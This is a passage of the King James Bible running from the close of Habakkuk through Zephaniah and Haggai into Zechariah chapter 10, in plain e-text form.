against the sea, that thou didst +ride upon thine horses and thy chariots of salvation? 3:9 Thy bow was +made quite naked, according to the oaths of the tribes, even thy word. +Selah. Thou didst cleave the earth with rivers. + +3:10 The mountains saw thee, and they trembled: the overflowing of the +water passed by: the deep uttered his voice, and lifted up his hands +on high. + +3:11 The sun and moon stood still in their habitation: at the light of +thine arrows they went, and at the shining of thy glittering spear. + +3:12 Thou didst march through the land in indignation, thou didst +thresh the heathen in anger. + +3:13 Thou wentest forth for the salvation of thy people, even for +salvation with thine anointed; thou woundedst the head out of the +house of the wicked, by discovering the foundation unto the neck. +Selah. + +3:14 Thou didst strike through with his staves the head of his +villages: they came out as a whirlwind to scatter me: their rejoicing +was as to devour the poor secretly. + +3:15 Thou didst walk through the sea with thine horses, through the +heap of great waters. + +3:16 When I heard, my belly trembled; my lips quivered at the voice: +rottenness entered into my bones, and I trembled in myself, that I +might rest in the day of trouble: when he cometh up unto the people, +he will invade them with his troops. + +3:17 Although the fig tree shall not blossom, neither shall fruit be +in the vines; the labour of the olive shall fail, and the fields shall +yield no meat; the flock shall be cut off from the fold, and there +shall be no herd in the stalls: 3:18 Yet I will rejoice in the LORD, I +will joy in the God of my salvation. + +3:19 The LORD God is my strength, and he will make my feet like hinds' +feet, and he will make me to walk upon mine high places. To the chief +singer on my stringed instruments. + + + + +Zephaniah + + +1:1 The word of the LORD which came unto Zephaniah the son of Cushi, +the son of Gedaliah, the son of Amariah, the son of Hizkiah, in the +days of Josiah the son of Amon, king of Judah. + +1:2 I will utterly consume all things from off the land, saith the +LORD. + +1:3 I will consume man and beast; I will consume the fowls of the +heaven, and the fishes of the sea, and the stumbling blocks with the +wicked: and I will cut off man from off the land, saith the LORD. + +1:4 I will also stretch out mine hand upon Judah, and upon all the +inhabitants of Jerusalem; and I will cut off the remnant of Baal from +this place, and the name of the Chemarims with the priests; 1:5 And +them that worship the host of heaven upon the housetops; and them that +worship and that swear by the LORD, and that swear by Malcham; 1:6 And +them that are turned back from the LORD; and those that have not +sought the LORD, nor enquired for him. + +1:7 Hold thy peace at the presence of the Lord GOD: for the day of the +LORD is at hand: for the LORD hath prepared a sacrifice, he hath bid +his guests. + +1:8 And it shall come to pass in the day of the LORD's sacrifice, that +I will punish the princes, and the king's children, and all such as +are clothed with strange apparel. + +1:9 In the same day also will I punish all those that leap on the +threshold, which fill their masters' houses with violence and deceit. + +1:10 And it shall come to pass in that day, saith the LORD, that there +shall be the noise of a cry from the fish gate, and an howling from +the second, and a great crashing from the hills. + +1:11 Howl, ye inhabitants of Maktesh, for all the merchant people are +cut down; all they that bear silver are cut off. + +1:12 And it shall come to pass at that time, that I will search +Jerusalem with candles, and punish the men that are settled on their +lees: that say in their heart, The LORD will not do good, neither will +he do evil. + +1:13 Therefore their goods shall become a booty, and their houses a +desolation: they shall also build houses, but not inhabit them; and +they shall plant vineyards, but not drink the wine thereof. + +1:14 The great day of the LORD is near, it is near, and hasteth +greatly, even the voice of the day of the LORD: the mighty man shall +cry there bitterly. + +1:15 That day is a day of wrath, a day of trouble and distress, a day +of wasteness and desolation, a day of darkness and gloominess, a day +of clouds and thick darkness, 1:16 A day of the trumpet and alarm +against the fenced cities, and against the high towers. + +1:17 And I will bring distress upon men, that they shall walk like +blind men, because they have sinned against the LORD: and their blood +shall be poured out as dust, and their flesh as the dung. + +1:18 Neither their silver nor their gold shall be able to deliver them +in the day of the LORD's wrath; but the whole land shall be devoured +by the fire of his jealousy: for he shall make even a speedy riddance +of all them that dwell in the land. + +2:1 Gather yourselves together, yea, gather together, O nation not +desired; 2:2 Before the decree bring forth, before the day pass as the +chaff, before the fierce anger of the LORD come upon you, before the +day of the LORD's anger come upon you. + +2:3 Seek ye the LORD, all ye meek of the earth, which have wrought his +judgment; seek righteousness, seek meekness: it may be ye shall be hid +in the day of the LORD's anger. + +2:4 For Gaza shall be forsaken, and Ashkelon a desolation: they shall +drive out Ashdod at the noon day, and Ekron shall be rooted up. + +2:5 Woe unto the inhabitants of the sea coast, the nation of the +Cherethites! the word of the LORD is against you; O Canaan, the land +of the Philistines, I will even destroy thee, that there shall be no +inhabitant. + +2:6 And the sea coast shall be dwellings and cottages for shepherds, +and folds for flocks. + +2:7 And the coast shall be for the remnant of the house of Judah; they +shall feed thereupon: in the houses of Ashkelon shall they lie down in +the evening: for the LORD their God shall visit them, and turn away +their captivity. + +2:8 I have heard the reproach of Moab, and the revilings of the +children of Ammon, whereby they have reproached my people, and +magnified themselves against their border. + +2:9 Therefore as I live, saith the LORD of hosts, the God of Israel, +Surely Moab shall be as Sodom, and the children of Ammon as Gomorrah, +even the breeding of nettles, and saltpits, and a perpetual +desolation: the residue of my people shall spoil them, and the remnant +of my people shall possess them. + +2:10 This shall they have for their pride, because they have +reproached and magnified themselves against the people of the LORD of +hosts. + +2:11 The LORD will be terrible unto them: for he will famish all the +gods of the earth; and men shall worship him, every one from his +place, even all the isles of the heathen. + +2:12 Ye Ethiopians also, ye shall be slain by my sword. + +2:13 And he will stretch out his hand against the north, and destroy +Assyria; and will make Nineveh a desolation, and dry like a +wilderness. + +2:14 And flocks shall lie down in the midst of her, all the beasts of +the nations: both the cormorant and the bittern shall lodge in the +upper lintels of it; their voice shall sing in the windows; desolation +shall be in the thresholds; for he shall uncover the cedar work. + +2:15 This is the rejoicing city that dwelt carelessly, that said in +her heart, I am, and there is none beside me: how is she become a +desolation, a place for beasts to lie down in! every one that passeth +by her shall hiss, and wag his hand. + +3:1 Woe to her that is filthy and polluted, to the oppressing city! +3:2 She obeyed not the voice; she received not correction; she trusted +not in the LORD; she drew not near to her God. + +3:3 Her princes within her are roaring lions; her judges are evening +wolves; they gnaw not the bones till the morrow. + +3:4 Her prophets are light and treacherous persons: her priests have +polluted the sanctuary, they have done violence to the law. + +3:5 The just LORD is in the midst thereof; he will not do iniquity: +every morning doth he bring his judgment to light, he faileth not; but +the unjust knoweth no shame. + +3:6 I have cut off the nations: their towers are desolate; I made +their streets waste, that none passeth by: their cities are destroyed, +so that there is no man, that there is none inhabitant. + +3:7 I said, Surely thou wilt fear me, thou wilt receive instruction; +so their dwelling should not be cut off, howsoever I punished them: +but they rose early, and corrupted all their doings. + +3:8 Therefore wait ye upon me, saith the LORD, until the day that I +rise up to the prey: for my determination is to gather the nations, +that I may assemble the kingdoms, to pour upon them mine indignation, +even all my fierce anger: for all the earth shall be devoured with the +fire of my jealousy. + +3:9 For then will I turn to the people a pure language, that they may +all call upon the name of the LORD, to serve him with one consent. + +3:10 From beyond the rivers of Ethiopia my suppliants, even the +daughter of my dispersed, shall bring mine offering. + +3:11 In that day shalt thou not be ashamed for all thy doings, wherein +thou hast transgressed against me: for then I will take away out of +the midst of thee them that rejoice in thy pride, and thou shalt no +more be haughty because of my holy mountain. + +3:12 I will also leave in the midst of thee an afflicted and poor +people, and they shall trust in the name of the LORD. + +3:13 The remnant of Israel shall not do iniquity, nor speak lies; +neither shall a deceitful tongue be found in their mouth: for they +shall feed and lie down, and none shall make them afraid. + +3:14 Sing, O daughter of Zion; shout, O Israel; be glad and rejoice +with all the heart, O daughter of Jerusalem. + +3:15 The LORD hath taken away thy judgments, he hath cast out thine +enemy: the king of Israel, even the LORD, is in the midst of thee: +thou shalt not see evil any more. + +3:16 In that day it shall be said to Jerusalem, Fear thou not: and to +Zion, Let not thine hands be slack. + +3:17 The LORD thy God in the midst of thee is mighty; he will save, he +will rejoice over thee with joy; he will rest in his love, he will joy +over thee with singing. + +3:18 I will gather them that are sorrowful for the solemn assembly, +who are of thee, to whom the reproach of it was a burden. + +3:19 Behold, at that time I will undo all that afflict thee: and I +will save her that halteth, and gather her that was driven out; and I +will get them praise and fame in every land where they have been put +to shame. + +3:20 At that time will I bring you again, even in the time that I +gather you: for I will make you a name and a praise among all people +of the earth, when I turn back your captivity before your eyes, +saith the LORD. + + + + +Haggai + + +1:1 In the second year of Darius the king, in the sixth month, in the +first day of the month, came the word of the LORD by Haggai the +prophet unto Zerubbabel the son of Shealtiel, governor of Judah, and +to Joshua the son of Josedech, the high priest, saying, 1:2 Thus +speaketh the LORD of hosts, saying, This people say, The time is not +come, the time that the LORD's house should be built. + +1:3 Then came the word of the LORD by Haggai the prophet, saying, 1:4 +Is it time for you, O ye, to dwell in your cieled houses, and this +house lie waste? 1:5 Now therefore thus saith the LORD of hosts; +Consider your ways. + +1:6 Ye have sown much, and bring in little; ye eat, but ye have not +enough; ye drink, but ye are not filled with drink; ye clothe you, but +there is none warm; and he that earneth wages earneth wages to put it +into a bag with holes. + +1:7 Thus saith the LORD of hosts; Consider your ways. + +1:8 Go up to the mountain, and bring wood, and build the house; and I +will take pleasure in it, and I will be glorified, saith the LORD. + +1:9 Ye looked for much, and, lo it came to little; and when ye brought +it home, I did blow upon it. Why? saith the LORD of hosts. Because of +mine house that is waste, and ye run every man unto his own house. + +1:10 Therefore the heaven over you is stayed from dew, and the earth +is stayed from her fruit. + +1:11 And I called for a drought upon the land, and upon the mountains, +and upon the corn, and upon the new wine, and upon the oil, and upon +that which the ground bringeth forth, and upon men, and upon cattle, +and upon all the labour of the hands. + +1:12 Then Zerubbabel the son of Shealtiel, and Joshua the son of +Josedech, the high priest, with all the remnant of the people, obeyed +the voice of the LORD their God, and the words of Haggai the prophet, +as the LORD their God had sent him, and the people did fear before the +LORD. + +1:13 Then spake Haggai the LORD's messenger in the LORD's message unto +the people, saying, I am with you, saith the LORD. + +1:14 And the LORD stirred up the spirit of Zerubbabel the son of +Shealtiel, governor of Judah, and the spirit of Joshua the son of +Josedech, the high priest, and the spirit of all the remnant of the +people; and they came and did work in the house of the LORD of hosts, +their God, 1:15 In the four and twentieth day of the sixth month, in +the second year of Darius the king. + +2:1 In the seventh month, in the one and twentieth day of the month, +came the word of the LORD by the prophet Haggai, saying, 2:2 Speak now +to Zerubbabel the son of Shealtiel, governor of Judah, and to Joshua +the son of Josedech, the high priest, and to the residue of the +people, saying, 2:3 Who is left among you that saw this house in her +first glory? and how do ye see it now? is it not in your eyes in +comparison of it as nothing? 2:4 Yet now be strong, O Zerubbabel, +saith the LORD; and be strong, O Joshua, son of Josedech, the high +priest; and be strong, all ye people of the land, saith the LORD, and +work: for I am with you, saith the LORD of hosts: 2:5 According to the +word that I covenanted with you when ye came out of Egypt, so my +spirit remaineth among you: fear ye not. + +2:6 For thus saith the LORD of hosts; Yet once, it is a little while, +and I will shake the heavens, and the earth, and the sea, and the dry +land; 2:7 And I will shake all nations, and the desire of all nations +shall come: and I will fill this house with glory, saith the LORD of +hosts. + +2:8 The silver is mine, and the gold is mine, saith the LORD of hosts. + +2:9 The glory of this latter house shall be greater than of the +former, saith the LORD of hosts: and in this place will I give peace, +saith the LORD of hosts. + +2:10 In the four and twentieth day of the ninth month, in the second +year of Darius, came the word of the LORD by Haggai the prophet, +saying, 2:11 Thus saith the LORD of hosts; Ask now the priests +concerning the law, saying, 2:12 If one bear holy flesh in the skirt +of his garment, and with his skirt do touch bread, or pottage, or +wine, or oil, or any meat, shall it be holy? And the priests answered +and said, No. + +2:13 Then said Haggai, If one that is unclean by a dead body touch any +of these, shall it be unclean? And the priests answered and said, It +shall be unclean. + +2:14 Then answered Haggai, and said, So is this people, and so is this +nation before me, saith the LORD; and so is every work of their hands; +and that which they offer there is unclean. + +2:15 And now, I pray you, consider from this day and upward, from +before a stone was laid upon a stone in the temple of the LORD: 2:16 +Since those days were, when one came to an heap of twenty measures, +there were but ten: when one came to the pressfat for to draw out +fifty vessels out of the press, there were but twenty. + +2:17 I smote you with blasting and with mildew and with hail in all +the labours of your hands; yet ye turned not to me, saith the LORD. + +2:18 Consider now from this day and upward, from the four and +twentieth day of the ninth month, even from the day that the +foundation of the LORD's temple was laid, consider it. + +2:19 Is the seed yet in the barn? yea, as yet the vine, and the fig +tree, and the pomegranate, and the olive tree, hath not brought forth: +from this day will I bless you. + +2:20 And again the word of the LORD came unto Haggai in the four and +twentieth day of the month, saying, 2:21 Speak to Zerubbabel, governor +of Judah, saying, I will shake the heavens and the earth; 2:22 And I +will overthrow the throne of kingdoms, and I will destroy the strength +of the kingdoms of the heathen; and I will overthrow the chariots, and +those that ride in them; and the horses and their riders shall come +down, every one by the sword of his brother. + +2:23 In that day, saith the LORD of hosts, will I take thee, O +Zerubbabel, my servant, the son of Shealtiel, saith the LORD, and will +make thee as a signet: for I have chosen thee, saith the LORD of hosts. + + + + +Zechariah + + +1:1 In the eighth month, in the second year of Darius, came the word +of the LORD unto Zechariah, the son of Berechiah, the son of Iddo the +prophet, saying, 1:2 The LORD hath been sore displeased with your +fathers. + +1:3 Therefore say thou unto them, Thus saith the LORD of hosts; Turn +ye unto me, saith the LORD of hosts, and I will turn unto you, saith +the LORD of hosts. + +1:4 Be ye not as your fathers, unto whom the former prophets have +cried, saying, Thus saith the LORD of hosts; Turn ye now from your +evil ways, and from your evil doings: but they did not hear, nor +hearken unto me, saith the LORD. + +1:5 Your fathers, where are they? and the prophets, do they live for +ever? 1:6 But my words and my statutes, which I commanded my servants +the prophets, did they not take hold of your fathers? and they +returned and said, Like as the LORD of hosts thought to do unto us, +according to our ways, and according to our doings, so hath he dealt +with us. + +1:7 Upon the four and twentieth day of the eleventh month, which is +the month Sebat, in the second year of Darius, came the word of the +LORD unto Zechariah, the son of Berechiah, the son of Iddo the +prophet, saying, 1:8 I saw by night, and behold a man riding upon a +red horse, and he stood among the myrtle trees that were in the +bottom; and behind him were there red horses, speckled, and white. + +1:9 Then said I, O my lord, what are these? And the angel that talked +with me said unto me, I will shew thee what these be. + +1:10 And the man that stood among the myrtle trees answered and said, +These are they whom the LORD hath sent to walk to and fro through the +earth. + +1:11 And they answered the angel of the LORD that stood among the +myrtle trees, and said, We have walked to and fro through the earth, +and, behold, all the earth sitteth still, and is at rest. + +1:12 Then the angel of the LORD answered and said, O LORD of hosts, +how long wilt thou not have mercy on Jerusalem and on the cities of +Judah, against which thou hast had indignation these threescore and +ten years? 1:13 And the LORD answered the angel that talked with me +with good words and comfortable words. + +1:14 So the angel that communed with me said unto me, Cry thou, +saying, Thus saith the LORD of hosts; I am jealous for Jerusalem and +for Zion with a great jealousy. + +1:15 And I am very sore displeased with the heathen that are at ease: +for I was but a little displeased, and they helped forward the +affliction. + +1:16 Therefore thus saith the LORD; I am returned to Jerusalem with +mercies: my house shall be built in it, saith the LORD of hosts, and a +line shall be stretched forth upon Jerusalem. + +1:17 Cry yet, saying, Thus saith the LORD of hosts; My cities through +prosperity shall yet be spread abroad; and the LORD shall yet comfort +Zion, and shall yet choose Jerusalem. + +1:18 Then lifted I up mine eyes, and saw, and behold four horns. + +1:19 And I said unto the angel that talked with me, What be these? And +he answered me, These are the horns which have scattered Judah, +Israel, and Jerusalem. + +1:20 And the LORD shewed me four carpenters. + +1:21 Then said I, What come these to do? And he spake, saying, These +are the horns which have scattered Judah, so that no man did lift up +his head: but these are come to fray them, to cast out the horns of +the Gentiles, which lifted up their horn over the land of Judah to +scatter it. + +2:1 I lifted up mine eyes again, and looked, and behold a man with a +measuring line in his hand. + +2:2 Then said I, Whither goest thou? And he said unto me, To measure +Jerusalem, to see what is the breadth thereof, and what is the length +thereof. + +2:3 And, behold, the angel that talked with me went forth, and another +angel went out to meet him, 2:4 And said unto him, Run, speak to this +young man, saying, Jerusalem shall be inhabited as towns without walls +for the multitude of men and cattle therein: 2:5 For I, saith the +LORD, will be unto her a wall of fire round about, and will be the +glory in the midst of her. + +2:6 Ho, ho, come forth, and flee from the land of the north, saith the +LORD: for I have spread you abroad as the four winds of the heaven, +saith the LORD. + +2:7 Deliver thyself, O Zion, that dwellest with the daughter of +Babylon. + +2:8 For thus saith the LORD of hosts; After the glory hath he sent me +unto the nations which spoiled you: for he that toucheth you toucheth +the apple of his eye. + +2:9 For, behold, I will shake mine hand upon them, and they shall be a +spoil to their servants: and ye shall know that the LORD of hosts hath +sent me. + +2:10 Sing and rejoice, O daughter of Zion: for, lo, I come, and I will +dwell in the midst of thee, saith the LORD. + +2:11 And many nations shall be joined to the LORD in that day, and +shall be my people: and I will dwell in the midst of thee, and thou +shalt know that the LORD of hosts hath sent me unto thee. + +2:12 And the LORD shall inherit Judah his portion in the holy land, +and shall choose Jerusalem again. + +2:13 Be silent, O all flesh, before the LORD: for he is raised up out +of his holy habitation. + +3:1 And he shewed me Joshua the high priest standing before the angel +of the LORD, and Satan standing at his right hand to resist him. + +3:2 And the LORD said unto Satan, The LORD rebuke thee, O Satan; even +the LORD that hath chosen Jerusalem rebuke thee: is not this a brand +plucked out of the fire? 3:3 Now Joshua was clothed with filthy +garments, and stood before the angel. + +3:4 And he answered and spake unto those that stood before him, +saying, Take away the filthy garments from him. And unto him he said, +Behold, I have caused thine iniquity to pass from thee, and I will +clothe thee with change of raiment. + +3:5 And I said, Let them set a fair mitre upon his head. So they set a +fair mitre upon his head, and clothed him with garments. And the angel +of the LORD stood by. + +3:6 And the angel of the LORD protested unto Joshua, saying, 3:7 Thus +saith the LORD of hosts; If thou wilt walk in my ways, and if thou +wilt keep my charge, then thou shalt also judge my house, and shalt +also keep my courts, and I will give thee places to walk among these +that stand by. + +3:8 Hear now, O Joshua the high priest, thou, and thy fellows that sit +before thee: for they are men wondered at: for, behold, I will bring +forth my servant the BRANCH. + +3:9 For behold the stone that I have laid before Joshua; upon one +stone shall be seven eyes: behold, I will engrave the graving thereof, +saith the LORD of hosts, and I will remove the iniquity of that land +in one day. + +3:10 In that day, saith the LORD of hosts, shall ye call every man his +neighbour under the vine and under the fig tree. + +4:1 And the angel that talked with me came again, and waked me, as a +man that is wakened out of his sleep. + +4:2 And said unto me, What seest thou? And I said, I have looked, and +behold a candlestick all of gold, with a bowl upon the top of it, and +his seven lamps thereon, and seven pipes to the seven lamps, which are +upon the top thereof: 4:3 And two olive trees by it, one upon the +right side of the bowl, and the other upon the left side thereof. + +4:4 So I answered and spake to the angel that talked with me, saying, +What are these, my lord? 4:5 Then the angel that talked with me +answered and said unto me, Knowest thou not what these be? And I said, +No, my lord. + +4:6 Then he answered and spake unto me, saying, This is the word of +the LORD unto Zerubbabel, saying, Not by might, nor by power, but by +my spirit, saith the LORD of hosts. + +4:7 Who art thou, O great mountain? before Zerubbabel thou shalt +become a plain: and he shall bring forth the headstone thereof with +shoutings, crying, Grace, grace unto it. + +4:8 Moreover the word of the LORD came unto me, saying, 4:9 The hands +of Zerubbabel have laid the foundation of this house; his hands shall +also finish it; and thou shalt know that the LORD of hosts hath sent +me unto you. + +4:10 For who hath despised the day of small things? for they shall +rejoice, and shall see the plummet in the hand of Zerubbabel with +those seven; they are the eyes of the LORD, which run to and fro +through the whole earth. + +4:11 Then answered I, and said unto him, What are these two olive +trees upon the right side of the candlestick and upon the left side +thereof? 4:12 And I answered again, and said unto him, What be these +two olive branches which through the two golden pipes empty the golden +oil out of themselves? 4:13 And he answered me and said, Knowest thou +not what these be? And I said, No, my lord. + +4:14 Then said he, These are the two anointed ones, that stand by the +LORD of the whole earth. + +5:1 Then I turned, and lifted up mine eyes, and looked, and behold a +flying roll. + +5:2 And he said unto me, What seest thou? And I answered, I see a +flying roll; the length thereof is twenty cubits, and the breadth +thereof ten cubits. + +5:3 Then said he unto me, This is the curse that goeth forth over the +face of the whole earth: for every one that stealeth shall be cut off +as on this side according to it; and every one that sweareth shall be +cut off as on that side according to it. + +5:4 I will bring it forth, saith the LORD of hosts, and it shall enter +into the house of the thief, and into the house of him that sweareth +falsely by my name: and it shall remain in the midst of his house, and +shall consume it with the timber thereof and the stones thereof. + +5:5 Then the angel that talked with me went forth, and said unto me, +Lift up now thine eyes, and see what is this that goeth forth. + +5:6 And I said, What is it? And he said, This is an ephah that goeth +forth. He said moreover, This is their resemblance through all the +earth. + +5:7 And, behold, there was lifted up a talent of lead: and this is a +woman that sitteth in the midst of the ephah. + +5:8 And he said, This is wickedness. And he cast it into the midst of +the ephah; and he cast the weight of lead upon the mouth thereof. + +5:9 Then lifted I up mine eyes, and looked, and, behold, there came +out two women, and the wind was in their wings; for they had wings +like the wings of a stork: and they lifted up the ephah between the +earth and the heaven. + +5:10 Then said I to the angel that talked with me, Whither do these +bear the ephah? 5:11 And he said unto me, To build it an house in the +land of Shinar: and it shall be established, and set there upon her +own base. + +6:1 And I turned, and lifted up mine eyes, and looked, and, behold, +there came four chariots out from between two mountains; and the +mountains were mountains of brass. + +6:2 In the first chariot were red horses; and in the second chariot +black horses; 6:3 And in the third chariot white horses; and in the +fourth chariot grisled and bay horses. + +6:4 Then I answered and said unto the angel that talked with me, What +are these, my lord? 6:5 And the angel answered and said unto me, +These are the four spirits of the heavens, which go forth from +standing before the LORD of all the earth. + +6:6 The black horses which are therein go forth into the north +country; and the white go forth after them; and the grisled go forth +toward the south country. + +6:7 And the bay went forth, and sought to go that they might walk to +and fro through the earth: and he said, Get you hence, walk to and fro +through the earth. So they walked to and fro through the earth. + +6:8 Then cried he upon me, and spake unto me, saying, Behold, these +that go toward the north country have quieted my spirit in the north +country. + +6:9 And the word of the LORD came unto me, saying, 6:10 Take of them +of the captivity, even of Heldai, of Tobijah, and of Jedaiah, which +are come from Babylon, and come thou the same day, and go into the +house of Josiah the son of Zephaniah; 6:11 Then take silver and gold, +and make crowns, and set them upon the head of Joshua the son of +Josedech, the high priest; 6:12 And speak unto him, saying, Thus +speaketh the LORD of hosts, saying, Behold the man whose name is The +BRANCH; and he shall grow up out of his place, and he shall build the +temple of the LORD: 6:13 Even he shall build the temple of the LORD; +and he shall bear the glory, and shall sit and rule upon his throne; +and he shall be a priest upon his throne: and the counsel of peace +shall be between them both. + +6:14 And the crowns shall be to Helem, and to Tobijah, and to Jedaiah, +and to Hen the son of Zephaniah, for a memorial in the temple of the +LORD. + +6:15 And they that are far off shall come and build in the temple of +the LORD, and ye shall know that the LORD of hosts hath sent me unto +you. And this shall come to pass, if ye will diligently obey the voice +of the LORD your God. + +7:1 And it came to pass in the fourth year of king Darius, that the +word of the LORD came unto Zechariah in the fourth day of the ninth +month, even in Chisleu; 7:2 When they had sent unto the house of God +Sherezer and Regemmelech, and their men, to pray before the LORD, 7:3 +And to speak unto the priests which were in the house of the LORD of +hosts, and to the prophets, saying, Should I weep in the fifth month, +separating myself, as I have done these so many years? 7:4 Then came +the word of the LORD of hosts unto me, saying, 7:5 Speak unto all the +people of the land, and to the priests, saying, When ye fasted and +mourned in the fifth and seventh month, even those seventy years, did +ye at all fast unto me, even to me? 7:6 And when ye did eat, and when +ye did drink, did not ye eat for yourselves, and drink for yourselves? +7:7 Should ye not hear the words which the LORD hath cried by the +former prophets, when Jerusalem was inhabited and in prosperity, and +the cities thereof round about her, when men inhabited the south and +the plain? 7:8 And the word of the LORD came unto Zechariah, saying, +7:9 Thus speaketh the LORD of hosts, saying, Execute true judgment, +and shew mercy and compassions every man to his brother: 7:10 And +oppress not the widow, nor the fatherless, the stranger, nor the poor; +and let none of you imagine evil against his brother in your heart. + +7:11 But they refused to hearken, and pulled away the shoulder, and +stopped their ears, that they should not hear. + +7:12 Yea, they made their hearts as an adamant stone, lest they should +hear the law, and the words which the LORD of hosts hath sent in his +spirit by the former prophets: therefore came a great wrath from the +LORD of hosts. + +7:13 Therefore it is come to pass, that as he cried, and they would +not hear; so they cried, and I would not hear, saith the LORD of +hosts: 7:14 But I scattered them with a whirlwind among all the +nations whom they knew not. Thus the land was desolate after them, +that no man passed through nor returned: for they laid the pleasant +land desolate. + +8:1 Again the word of the LORD of hosts came to me, saying, 8:2 Thus +saith the LORD of hosts; I was jealous for Zion with great jealousy, +and I was jealous for her with great fury. + +8:3 Thus saith the LORD; I am returned unto Zion, and will dwell in +the midst of Jerusalem: and Jerusalem shall be called a city of truth; +and the mountain of the LORD of hosts the holy mountain. + +8:4 Thus saith the LORD of hosts; There shall yet old men and old +women dwell in the streets of Jerusalem, and every man with his staff +in his hand for very age. + +8:5 And the streets of the city shall be full of boys and girls +playing in the streets thereof. + +8:6 Thus saith the LORD of hosts; If it be marvellous in the eyes of +the remnant of this people in these days, should it also be marvellous +in mine eyes? saith the LORD of hosts. + +8:7 Thus saith the LORD of hosts; Behold, I will save my people from +the east country, and from the west country; 8:8 And I will bring +them, and they shall dwell in the midst of Jerusalem: and they shall +be my people, and I will be their God, in truth and in righteousness. + +8:9 Thus saith the LORD of hosts; Let your hands be strong, ye that +hear in these days these words by the mouth of the prophets, which +were in the day that the foundation of the house of the LORD of hosts +was laid, that the temple might be built. + +8:10 For before these days there was no hire for man, nor any hire for +beast; neither was there any peace to him that went out or came in +because of the affliction: for I set all men every one against his +neighbour. + +8:11 But now I will not be unto the residue of this people as in the +former days, saith the LORD of hosts. + +8:12 For the seed shall be prosperous; the vine shall give her fruit, +and the ground shall give her increase, and the heavens shall give +their dew; and I will cause the remnant of this people to possess all +these things. + +8:13 And it shall come to pass, that as ye were a curse among the +heathen, O house of Judah, and house of Israel; so will I save you, +and ye shall be a blessing: fear not, but let your hands be strong. + +8:14 For thus saith the LORD of hosts; As I thought to punish you, +when your fathers provoked me to wrath, saith the LORD of hosts, and I +repented not: 8:15 So again have I thought in these days to do well +unto Jerusalem and to the house of Judah: fear ye not. + +8:16 These are the things that ye shall do; Speak ye every man the +truth to his neighbour; execute the judgment of truth and peace in +your gates: 8:17 And let none of you imagine evil in your hearts +against his neighbour; and love no false oath: for all these are +things that I hate, saith the LORD. + +8:18 And the word of the LORD of hosts came unto me, saying, 8:19 Thus +saith the LORD of hosts; The fast of the fourth month, and the fast of +the fifth, and the fast of the seventh, and the fast of the tenth, +shall be to the house of Judah joy and gladness, and cheerful feasts; +therefore love the truth and peace. + +8:20 Thus saith the LORD of hosts; It shall yet come to pass, that +there shall come people, and the inhabitants of many cities: 8:21 And +the inhabitants of one city shall go to another, saying, Let us go +speedily to pray before the LORD, and to seek the LORD of hosts: I +will go also. + +8:22 Yea, many people and strong nations shall come to seek the LORD +of hosts in Jerusalem, and to pray before the LORD. + +8:23 Thus saith the LORD of hosts; In those days it shall come to +pass, that ten men shall take hold out of all languages of the +nations, even shall take hold of the skirt of him that is a Jew, +saying, We will go with you: for we have heard that God is with you. + +9:1 The burden of the word of the LORD in the land of Hadrach, and +Damascus shall be the rest thereof: when the eyes of man, as of all +the tribes of Israel, shall be toward the LORD. + +9:2 And Hamath also shall border thereby; Tyrus, and Zidon, though it +be very wise. + +9:3 And Tyrus did build herself a strong hold, and heaped up silver as +the dust, and fine gold as the mire of the streets. + +9:4 Behold, the LORD will cast her out, and he will smite her power in +the sea; and she shall be devoured with fire. + +9:5 Ashkelon shall see it, and fear; Gaza also shall see it, and be +very sorrowful, and Ekron; for her expectation shall be ashamed; and +the king shall perish from Gaza, and Ashkelon shall not be inhabited. + +9:6 And a bastard shall dwell in Ashdod, and I will cut off the pride +of the Philistines. + +9:7 And I will take away his blood out of his mouth, and his +abominations from between his teeth: but he that remaineth, even he, +shall be for our God, and he shall be as a governor in Judah, and +Ekron as a Jebusite. + +9:8 And I will encamp about mine house because of the army, because of +him that passeth by, and because of him that returneth: and no +oppressor shall pass through them any more: for now have I seen with +mine eyes. + +9:9 Rejoice greatly, O daughter of Zion; shout, O daughter of +Jerusalem: behold, thy King cometh unto thee: he is just, and having +salvation; lowly, and riding upon an ass, and upon a colt the foal of +an ass. + +9:10 And I will cut off the chariot from Ephraim, and the horse from +Jerusalem, and the battle bow shall be cut off: and he shall speak +peace unto the heathen: and his dominion shall be from sea even to +sea, and from the river even to the ends of the earth. + +9:11 As for thee also, by the blood of thy covenant I have sent forth +thy prisoners out of the pit wherein is no water. + +9:12 Turn you to the strong hold, ye prisoners of hope: even to day do +I declare that I will render double unto thee; 9:13 When I have bent +Judah for me, filled the bow with Ephraim, and raised up thy sons, O +Zion, against thy sons, O Greece, and made thee as the sword of a +mighty man. + +9:14 And the LORD shall be seen over them, and his arrow shall go +forth as the lightning: and the LORD God shall blow the trumpet, and +shall go with whirlwinds of the south. + +9:15 The LORD of hosts shall defend them; and they shall devour, and +subdue with sling stones; and they shall drink, and make a noise as +through wine; and they shall be filled like bowls, and as the corners +of the altar. + +9:16 And the LORD their God shall save them in that day as the flock +of his people: for they shall be as the stones of a crown, lifted up +as an ensign upon his land. + +9:17 For how great is his goodness, and how great is his beauty! corn +shall make the young men cheerful, and new wine the maids. + +10:1 Ask ye of the LORD rain in the time of the latter rain; so the +LORD shall make bright clouds, and give them showers of rain, to every +one grass in the field. + +10:2 For the idols have spoken vanity, and the diviners have seen a +lie, and have told false dreams; they comfort in vain: therefore they +went their way as a flock, they were troubled, because there was no +shepherd. + +10:3 Mine anger was kindled against the shepherds, and I punished the +goats: for the LORD of hosts hath visited his flock the house of +Judah, and hath made them as his goodly horse in the battle. + +10:4 Out of him came forth the corner, out of him the nail, out of him +the battle bow, out of him every oppressor together. + +10:5 And they shall be as mighty men, which tread down their enemies +in the mire of the streets in the battle: and they shall fight, +because the LORD is with them, and the riders on horses shall be +confounded. + +10:6 And I will strengthen the house of Judah, and I will save the +house of Joseph, and I will bring them again to place them; for I have +mercy upon them: and they shall be as though I had not cast them off: +for I am the LORD their God, and will hear them. + +10:7 And they of Ephraim shall be like a mighty man, and their heart +shall rejoice as through wine: yea, their children shall see it, and +be glad; their heart shall rejoice in the LORD. + +10:8 I will hiss for them, and gather them; for I have redeemed them: +and they shall increase as they have increased. + +10:9 And I will sow them among the people: and they shall remember me +in far countries; and they shall live with their children, and turn +again. + +10:10 I will bring them again also out of the land of Egypt, and +gather them out of Assyria; and I will bring them into the land of +Gilead and Lebanon; and place shall not be found for them. + +10:11 And he shall pass through the sea with affliction, and shall +smite the waves in the sea, and all the deeps of the river shall dry +up: and the pride of Assyria shall be brought down, and the sceptre of +Egypt shall depart away. + +10:12 And I will strengthen them in the LORD; and they shall walk up +and down in his name, saith the LORD. + +11:1 